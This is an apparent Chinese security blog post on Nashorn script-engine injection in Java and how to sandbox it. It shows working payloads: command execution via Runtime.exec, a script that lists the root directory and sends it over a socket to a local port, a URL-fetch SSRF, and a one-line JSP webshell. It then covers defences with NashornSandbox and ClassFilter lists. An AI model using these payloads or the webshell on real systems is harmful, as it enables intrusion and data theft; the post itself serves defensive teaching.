Java NashornJS引擎代码安全执行
langu_xyz

一、什么是Nashorn

在 Java SE 7 之前,JDK 附带了一个基于 Mozilla Rhino 的 JavaScript 脚本引擎。Java SE 8 将搭载一个名为 Oracle Nashorn 的新引擎,该引擎基于JSR 292和invokedynamic. invokedynamic它通过绑定调用站点提供了对 ECMA 规范化 JavaScript 规范的更好合规性和更好的运行时性能。

遵循ECMAScript,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;

public class Hello {

public static void main(String... args) throws Throwable {
ScriptEngineManager engineManager =
new ScriptEngineManager();
ScriptEngine engine =
engineManager.getEngineByName("nashorn");
engine.eval("function sum(a, b) { return a + b; }");
System.out.println(engine.eval("sum(1, 2);"));
}
}

二、通过Nashorn实现命令执行

1
2
3
4
5
6
7
8
9
10
11
public static void main(String[] args) throws ScriptException {

String test="var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec('open /System/Applications/Calculator.app/Contents/MacOS/Calculator')};";


ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByName("nashorn");

scriptEngine.eval(test);

}

三、通过Nashorn实现SSRF攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args) throws ScriptException {
//此处感谢5am3帮忙debug
//方法1
String test3 = "var a=mainOutput();function mainOutput(){var file=new java.io.File(\"/\");var fileLists=file.listFiles();var s=new java.net.Socket(\"127.0.0.1\",8200);for(var i=0;i<fileLists.length;i++){var out=s.getOutputStream();out.write(fileLists[i].getName().getBytes());out.write(\"\\n\".getBytes());}};";

//方法2
String test5 = "var a=mainOutput();function mainOutput(){ var url=new java.net.URL('http://127.0.0.1:8200');url.openConnection().getContent();};";

ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByName("nashorn");

scriptEngine.eval(test5);
}

四、其它利用

一句话木马实现https://xz.aliyun.com/t/9715

1
2
3
4
5
6
7
8
<%

javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));

%>

五、防御方法

5.1 NashornSandbox

https://github.com/javadelight/delight-nashorn-sandbox

限制类

1
2
3
NashornSandbox sandbox = NashornSandboxes.create();     
sandbox.allow(File.class);
sandbox.eval("var File = Java.type('java.io.File'); File;")

实际效果

1
2
3
4
NashornSandbox sandbox = NashornSandboxes.create();
sandbox.allow(File.class);
//sandbox.allow(Socket.class);
sandbox.eval(test3);

可以看到Socket没有被允许,执行失败

5.2 自建ClassFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class EvalTest {

public static void main(String[] args) throws ScriptException {

String test3 = "var a=mainOutput();function mainOutput(){var file=new java.io.File(\"/\");var fileLists=file.listFiles();var s=new java.net.Socket(\"127.0.0.1\",8200);for(var i=0;i<fileLists.length;i++){var out=s.getOutputStream();out.write(fileLists[i].getName().getBytes());out.write(\"\\n\".getBytes());}};";

//解析JS
NashornScriptEngineFactory factory = new NashornScriptEngineFactory();

ScriptEngine engine = factory.getScriptEngine(
new EvalTest.seClassFilterBlack());
engine.eval(test3);
}

//黑名单方式
static class seClassFilterBlack implements ClassFilter{

@Override
public boolean exposeToScripts(String s) {
if (s.compareTo("java.io.File") == 0)
return false;
return true;
}
}

//白名单方式
static class seClassFilterWhite implements ClassFilter{

@Override
public boolean exposeToScripts(String s) {
if (s.compareTo("java.io.File") == 0)
return true;
return false;
}
}

}

可以看到File没有加载,执行失败

  • Post title:Java NashornJS引擎代码安全执行
  • Post author:langu_xyz
  • Create time:2022-01-28 21:00:00
  • Post link:https://blog.langu.xyz/Java NashornJS引擎代码安全执行/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.